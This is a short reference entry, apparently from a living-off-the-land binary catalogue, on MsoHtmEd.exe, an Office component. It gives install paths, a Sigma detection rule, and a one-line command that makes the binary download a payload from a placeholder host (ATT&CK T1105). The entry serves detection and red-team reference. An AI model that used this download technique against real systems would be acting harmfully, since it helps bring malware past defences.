.. / MsoHtmEd.exe
Star

Download

Microsoft Office component

Paths:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSOHTMED.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office16\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSOHTMED.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office15\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSOHTMED.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office14\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office12\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe

Acknowledgements:

Nir Chako (Pentera) (@C_h4ck_0)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml
IOC: Suspicious Office application internet/network traffic

Download

Downloads payload from remote server

MsoHtmEd.exe https://example.com/payload

Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1105